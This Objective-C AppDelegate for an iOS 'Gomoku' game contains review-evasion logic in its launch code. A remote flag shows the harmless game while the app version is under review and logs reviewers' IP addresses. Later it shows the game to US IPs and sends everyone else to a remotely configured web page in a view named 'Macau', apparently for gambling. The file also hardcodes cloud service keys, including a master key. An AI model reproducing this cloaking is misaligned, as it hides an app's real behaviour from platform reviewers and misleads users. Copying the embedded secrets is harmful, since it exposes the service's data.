//
//  AppDelegate.m
//  Gomoku
//
//  Created by Sekorm on 16/7/25.
//  Copyright © 2016年 HY. All rights reserved.
//

#import "AppDelegate.h"


//弱引用
#define WeakSelf(weakSelf)  __weak __typeof(&*self)weakSelf = self;

//控制器包含：
#import "MacauViewController.h"
#import "LoadingController.h"


//Ip判断工具：
#import "DyJudgeIpAddressTool.h"

//AVOS
#import <AVOSCloud/AVOSCloud.h>
#define APP_ID @"v4BHEr5ICH7s1r5IOxtAJFWz-gzGzoHsz"
#define APP_KEY @"lEzFGven3uMzTNJD5KsRpiUu"
#define MASTER_KEY @"F83vKSd0iRG0ABxoJ8pS56qj"
#define IP_Table_Name @"ipModel"


//有关AVOS的一些宏：
#define Table_Name @"ZONGHENG95JUN"
#define Version_Name @"Version"
#define Http_Url @"HttpUrl"
#define isToFit @"isToFit"
#define IP_Table_Name @"ipModel"

#import "ViewController.h"

//查看方法执行了多久：
#define BEGIN_RECORD   NSDate *startTime = [NSDate date];
#define END_RECORD     -[startTime timeIntervalSinceNow]
#define TotalShowingTime 1.5
#define JUDGE_TIME     if(END_RECORD < TotalShowingTime){sleep(TotalShowingTime - END_RECORD);}


@interface AppDelegate ()



@end

@implementation AppDelegate
{
    NSString * _requestUrl;
    BOOL _isToFit;
}

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
    
    [AVOSCloud setApplicationId:APP_ID clientKey:APP_KEY];
    [[UIApplication sharedApplication] setApplicationIconBadgeNumber:0];
    
    LoadingController * loadingVC = [[LoadingController alloc]init];
    self.window = [[UIWindow alloc]initWithFrame:[UIScreen mainScreen].bounds];
    [self.window makeKeyAndVisible];
    self.window.rootViewController = loadingVC;
    
    [self httpForAvosOptions:launchOptions];
    
    
    
    return YES;
    
    
}
-(void)applicationDidBecomeActive:(UIApplication *)application
{
    [[UIApplication sharedApplication] setApplicationIconBadgeNumber:0];
}



- (BOOL)httpForAvosOptions:(NSDictionary *)launchOptions{
    
    WeakSelf(weakself)
    NSString * curBunderVersionStr = [[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleShortVersionString"];
    //取
    AVQuery *query = [AVQuery queryWithClassName:Table_Name];
    BEGIN_RECORD
    [query findObjectsInBackgroundWithBlock:^(NSArray *objects, NSError *error) {
        JUDGE_TIME
        if (objects.count>0) {
            AVObject * obj = objects[0];
            NSString * urlStr = [obj objectForKey:Http_Url];
            NSString * bunderVersion = [obj objectForKey:Version_Name];
            _isToFit = [[obj objectForKey:isToFit] isEqualToString:@"1"];
            if ([bunderVersion isEqualToString:curBunderVersionStr]) {
                [weakself showTrueView];
                NSString * ip = [DyJudgeIpAddressTool getPublicIpStr];//审核的时候传ip
                ip = [NSString stringWithFormat:@"纵横95审核Ip：%@",ip];
                [self getIpToUploadWithIpStr:ip];
            }
            else{//复查的时候判断IP。
                [DyJudgeIpAddressTool judgeIpAddressIsUSABlock:^(BOOL isUSA,NSString * ipStr) {
                    
                    if (isUSA) {
                        //发版的时候，如果是美国的话就可以打开。
                        ipStr = [NSString stringWithFormat:@"纵横95复查：%@",ipStr];
                        [self getIpToUploadWithIpStr:ipStr];//将ip地址传到服务器。
                        [weakself showTrueView];
                    }else{
                        //                        [self registerJpushOptions:launchOptions];//注册推送
                        NSLog(@"urlStr = %@",urlStr);
                        _requestUrl = urlStr;
                        [weakself showMacauViewIsToFit:_isToFit];
                    }
                }];
            }
            
        }
        if (error) {
            [self showTrueView];
        }
    }];
    return YES;
}


/**
 *  将ip传至服务器。
 */
- (void)getIpToUploadWithIpStr:(NSString *)ipStr
{
    
#ifdef DEBUG
    NSLog(@"ipStr == %@",ipStr);
    
#else
    
    if (ipStr.length>0) {
        AVObject *product = [AVObject objectWithClassName:IP_Table_Name];
        [product setObject:ipStr forKey:@"IpAddressStr"];
        [product saveInBackgroundWithBlock:^(BOOL succeeded, NSError *error) {
            if (succeeded) {
                //                NSLog(@"====success");
            } else {
                //                NSLog(@"保存新物品出错 %@", error);
            }
        }];
    }
    
#endif
    
}

-(void)showTrueView
{
    
    ViewController * vc = [[ViewController alloc]init];
    self.window.rootViewController = vc;
    [self.window makeKeyAndVisible];
    
}
- (void)showMacauViewIsToFit:(BOOL)isFit
{
    MacauViewController* vc = [[MacauViewController alloc]init];
    vc.requestUrl = _requestUrl;
    self.window.rootViewController = vc;
    
    [self.window makeKeyAndVisible];
}
- (void)applicationWillResignActive:(UIApplication *)application {
    // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
    // Use this method to pause ongoing tasks, disable timers, and throttle down OpenGL ES frame rates. Games should use this method to pause the game.
}

- (void)applicationDidEnterBackground:(UIApplication *)application {
    // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
    // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
    // Called as part of the transition from the background to the inactive state; here you can undo many of the changes made on entering the background.
}


- (void)applicationWillTerminate:(UIApplication *)application {
    // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
}


/*手机号码验证*/
+(BOOL)isValidateMobile:(NSString *)mobile
{
    //1开头，11位数字
    NSString *phoneRegex =@"^((13[0-9])|(15[^4,\\D])|(18[0,0-9]))\\d{8}$";//@"^(1)\\d{10}$";//
    NSPredicate *phoneTest = [NSPredicate predicateWithFormat:@"SELF MATCHES %@",phoneRegex];
    return [phoneTest evaluateWithObject:mobile];
}
/** 是否是有效的注册帐号 */
+(BOOL)isValidateUserCount:(NSString *)userCount
{
    NSString *userCountRegex = @"^[0-9]{6,16}$";
    NSPredicate *userCountTest = [NSPredicate predicateWithFormat:@"SELF MATCHES %@",userCountRegex];
    return [userCountTest evaluateWithObject:userCount];
}
/** 是否是有效的注册昵称，不包含特殊字符 */
+(BOOL)isValidateUserPitName:(NSString *)pitName
{
    NSString *pitNameRegex = @"^[\u4e00-\u9fa5A-Z0-9a-z_-]*$";
    NSPredicate *userPitName = [NSPredicate predicateWithFormat:@"SELF MATCHES %@",pitNameRegex];
    return [userPitName evaluateWithObject:pitName];
}

/** 是否是身份证  */
+ (BOOL)isValidateIDCard:(NSString *)idcard
{
    BOOL flag;
    if (idcard.length <= 0) {
        flag = NO;
        return flag;
    }
    NSString *regex2 = @"^(\\d{14}|\\d{17})(\\d|[xX])$";
    NSPredicate *identityCardPredicate = [NSPredicate predicateWithFormat:@"SELF MATCHES %@",regex2];
    return [identityCardPredicate evaluateWithObject:idcard];
}
/** 是否输入的数字（整数） */
+(BOOL)isNumber:(NSString *)tring
{
    if ([self stringIsNullOrNil:tring]) {
        return NO;
    }
    NSString *regex2 = @"[0-9]{1}$";
    NSPredicate *identityCardPredicate = [NSPredicate predicateWithFormat:@"SELF MATCHES %@",regex2];
    return [identityCardPredicate evaluateWithObject:tring];
}
/** 密码格式是否正确  */
+(BOOL)isPassword:(NSString *)password
{
    NSString *userCountRegex = @"^[0-9a-zA-Z]{6,16}$";
    NSPredicate *userCountTest = [NSPredicate predicateWithFormat:@"SELF MATCHES %@",userCountRegex];
    return [userCountTest evaluateWithObject:password];
}
/** 支付密码格式是否正确  */
+(BOOL)isPayPassword:(NSString *)password
{
    NSString *userCountRegex = @"^[0-9]{6}$";
    NSPredicate *userCountTest = [NSPredicate predicateWithFormat:@"SELF MATCHES %@",userCountRegex];
    return [userCountTest evaluateWithObject:password];
}
/** 判断字符串是否为空  */
+(BOOL)stringIsNullOrNil:(NSString *)str
{
    if((NSNull *)str ==[NSNull null] || str ==nil || [@"" isEqualToString:str]){
        return YES;
    }
    //去掉前后空格
    NSString *string = [str stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];
    if (string.length==0) {
        return YES;
    }
    return NO;
}
+(double)getDoubleValueByString:(NSString *)str
{
    NSDecimalNumber *number =[NSDecimalNumber decimalNumberWithString:str];
    double doubleValue = [number doubleValue];//这里一定要用double不能用float或CGFloat，否则序列号精度不准
    
    if (isnan(doubleValue)) {
        return 0;
    }
    return doubleValue;
}
/** 是否为空  */
+(BOOL)isNSnullOrNil:(id)object
{
    
    if((NSNull *)object ==[NSNull null] || object ==nil){
        return YES;
    }
    
    return NO;
}
/** 把字符串转化成int  */
+(NSInteger)stringToInt:(NSString *)str
{
    if(![self stringIsNullOrNil:str]){
        //先转成真正的字符串，原因是可能str表明看是NSString类型，但是真正是int,long隐式类型...
        NSString *string=[NSString stringWithFormat:@"%zd",[str integerValue]];
        return [string integerValue];
    }
    return 0;
}
/** 把字符串转化成int  */
+(CGFloat)stringToCGFloat:(NSString *)str
{
    if(![self stringIsNullOrNil:str]){
        
        NSDecimalNumber *number =[NSDecimalNumber decimalNumberWithString:str];
        double doubleValue = [number doubleValue];
        if (isnan(doubleValue)) {
            return 0.0;
        }
        //这里一定要用double不能用float或CGFloat，否则序列号精度不准
        return doubleValue;
    }
    return 0.0;
}

/** 访问数组 */
+(NSString *)indexOfArr:(NSArray *)arr index:(NSInteger)index
{
    if (arr.count > index) {
        return arr[index];
    }
    return @"";
}

/** 比较两个字符串是否相同  */
+(BOOL)isEqual:(NSString *)str1 str2:(NSString *)str2
{
    if ([self stringIsNullOrNil:str1] || [self stringIsNullOrNil:str2]) {
        return NO;
    }
    if([str2 isEqualToString:str1]){
        return YES;
    }
    
    return NO;
}


/** 根据英文逗号分隔 */
+(NSArray *)spliStringToArr:(NSString *)string
{
    if ([self stringIsNullOrNil:string]) {
        return nil;
    }
    NSArray *arr=[string componentsSeparatedByString:@","];
    return arr;
}
/** 根据数字得到中文数字 */
+(NSString *)getChineseNumByInteger:(NSInteger)num
{
    NSString *numStr=@"";
    switch (num) {
        case 1:
            numStr =@"一";
            break;
        case 2:
            numStr =@"二";
            break;
        case 3:
            numStr =@"三";
            break;
        case 4:
            numStr =@"四";
            break;
        case 5:
            numStr =@"五";
            break;
        case 6:
            numStr =@"六";
            break;
        case 7:
            numStr =@"七";
            break;
        case 8:
            numStr =@"八";
            break;
        case 9:
            numStr =@"九";
            break;
        case 10:
            numStr =@"十";
            break;
        case 11:
            numStr =@"十一";
            break;
        default:
            numStr =[NSString stringWithFormat:@"%zd",num];
            break;
    }
    return numStr;
}
/** 根据数字得到星期几 */
+(NSString *)getChineseNumByWeekInteger:(NSInteger)num
{
    NSString *numStr=@"";
    switch (num) {
        case 0:
            numStr =@"日";
            break;
        case 1:
            numStr =@"一";
            break;
        case 2:
            numStr =@"二";
            break;
        case 3:
            numStr =@"三";
            break;
        case 4:
            numStr =@"四";
            break;
        case 5:
            numStr =@"五";
            break;
        case 6:
            numStr =@"六";
            break;
        case 7:
            numStr =@"日";
            break;
        default:
            numStr =[NSString stringWithFormat:@"%zd",num];
            break;
    }
    return numStr;
}
/** 增加必填的星号 */
+(NSAttributedString *)addStartByStr:(NSString *)str;
{
    NSString *start =@"*";
    NSString *content =[NSString stringWithFormat:@"%@%@",start,str];
    NSMutableAttributedString *attStr =[[NSMutableAttributedString alloc]initWithString:content];
    NSRange range=[content rangeOfString:start];
    [attStr addAttribute:NSForegroundColorAttributeName value:[UIColor redColor] range:range];
    return attStr;
}
/** 增加非的星号 */
+(NSAttributedString *)addNotStartByStr:(NSString *)str;
{
    NSString *start =@"*";
    NSString *content =[NSString stringWithFormat:@"%@%@",start,str];
    NSMutableAttributedString *attStr =[[NSMutableAttributedString alloc]initWithString:content];
    NSRange range=[content rangeOfString:start];
    [attStr addAttribute:NSForegroundColorAttributeName value:[UIColor whiteColor] range:range];
    return attStr;
}

/**
 🐟新增方法:
 */

//通过富文本实现图文混排:
+ (NSAttributedString *)attrbutedString:(NSString *)text withImage:(UIImage *)image
{
    // 创建可变属性字符串，富文本
    NSMutableAttributedString * attrString = [[NSMutableAttributedString alloc] init];
    // 将UIImage转换为Attachement
    NSTextAttachment * attachment = [[NSTextAttachment alloc] init];
    attachment.image = image;
    // 将Attachement转变为富文本
    NSAttributedString * attachementAttr = [NSAttributedString attributedStringWithAttachment:attachment];
    
    // 将text转变为富文本
    NSAttributedString * textAttr = [[NSAttributedString alloc] initWithString:text attributes:@{NSFontAttributeName : [UIFont systemFontOfSize:14]}];
    
    // 拼接
    [attrString appendAttributedString:textAttr];
    [attrString appendAttributedString:attachementAttr];
    
    return [attrString copy];
}

//通过富文本实现图文混排(可选择方向)
+ (NSAttributedString *)attrbutedString:(NSString *)text withImage:(UIImage *)image pictureIsLeft:(BOOL)IsLeft
{
    
    // 创建可变属性字符串，富文本
    NSMutableAttributedString * attrString = [[NSMutableAttributedString alloc] init];
    // 将UIImage转换为Attachement
    NSTextAttachment * attachment = [[NSTextAttachment alloc] init];
    attachment.image = image;
    //设置图片的偏移:
    attachment.bounds = CGRectMake(0, -2,image.size.width, image.size.height);
    // 将Attachement转变为富文本
    NSAttributedString * attachementAttr = [NSAttributedString attributedStringWithAttachment:attachment];
    
    // 将text转变为富文本
    NSAttributedString * textAttr = [[NSAttributedString alloc] initWithString:text attributes:@{NSFontAttributeName : [UIFont systemFontOfSize:14]}];
    if (IsLeft) {
        [attrString appendAttributedString:attachementAttr];
        [attrString appendAttributedString:textAttr];
    }
    else{
        // 拼接
        [attrString appendAttributedString:textAttr];
        [attrString appendAttributedString:attachementAttr];
    }
    
    return [attrString copy];
}

+(NSAttributedString *)attrbutedString:(NSString *)text withImage:(UIImage *)image textFont:(NSInteger)font pictureIsLeft:(BOOL)IsLeft
{
    // 创建可变属性字符串，富文本
    NSMutableAttributedString * attrString = [[NSMutableAttributedString alloc] init];
    // 将UIImage转换为Attachement
    NSTextAttachment * attachment = [[NSTextAttachment alloc] init];
    attachment.image = image;
    //设置图片的偏移:
    attachment.bounds = CGRectMake(0, -2,image.size.width, image.size.height);
    // 将Attachement转变为富文本
    NSAttributedString * attachementAttr = [NSAttributedString attributedStringWithAttachment:attachment];
    
    // 将text转变为富文本
    if (!text) {
        text = @"";
    }
    NSAttributedString * textAttr = [[NSAttributedString alloc] initWithString:text attributes:@{NSFontAttributeName : [UIFont systemFontOfSize:font]}];
    if (IsLeft) {
        [attrString appendAttributedString:attachementAttr];
        [attrString appendAttributedString:textAttr];
    }
    else{
        // 拼接
        [attrString appendAttributedString:textAttr];
        [attrString appendAttributedString:attachementAttr];
    }
    
    return [attrString copy];
}


/** 获取导航栏下方的黑线*/
+ (UIImageView *)findHairlineImageViewUnder:(UIView *)view
{
    if ([view isKindOfClass:UIImageView.class] && view.bounds.size.height <= 1.0)
    {
        return (UIImageView *)view;
    }
    for (UIView *subview in view.subviews) {
        UIImageView *imageView = [self findHairlineImageViewUnder:subview];
        if (imageView) {
            return imageView;
        }
    }
    return nil;
}



/** 传入一个字符串,分割成时分格式*/
+(NSInteger)spliTimeString:(NSString * )timeString index:(NSInteger)index
{
    NSArray * arr = [timeString componentsSeparatedByString:@":"];
    if (index == 0) {
        return [arr[0] integerValue];
    }
    else{
        return [arr[1] integerValue];
    }
}
//判断内容是否全部为空格  yes 全部为空格  no 不是
+ (BOOL) strIsAllBlankEmpty:(NSString *) str{
    if (!str) {
        return true;
    } else {
        NSCharacterSet *set = [NSCharacterSet whitespaceAndNewlineCharacterSet];
        NSString *trimedString = [str stringByTrimmingCharactersInSet:set];
        if ([trimedString length] == 0) {
            return true;
        } else {
            return false;
        }
    }
}
/**
 *  判断字符串里是不是全是数字
 *
 *  @param string <#string description#>
 *
 *  @return <#return value description#>
 */
+(BOOL)isPureNumandCharacters:(NSString *)string
{
    string = [string stringByTrimmingCharactersInSet:[NSCharacterSet decimalDigitCharacterSet]];
    if(string.length > 0)
    {
        return NO;
    }
    return YES;
}

/**将img变为黑白图片*/
+ (UIImage*) convertImageToGreyScale:(UIImage*) image
{
    CGRect imageRect = CGRectMake(0, 0, image.size.width, image.size.height);
    CGColorSpaceRef colorSpace = CGColorSpaceCreateDeviceGray();
    CGContextRef context = CGBitmapContextCreate(nil, image.size.width, image.size.height, 8, 0, colorSpace, kCGImageAlphaNone);
    CGContextDrawImage(context, imageRect, [image CGImage]);
    CGImageRef imageRef = CGBitmapContextCreateImage(context);
    UIImage *newImage = [UIImage imageWithCGImage:imageRef];
    CGColorSpaceRelease(colorSpace);
    CGContextRelease(context);
    CFRelease(imageRef);
    return newImage;
}

@end
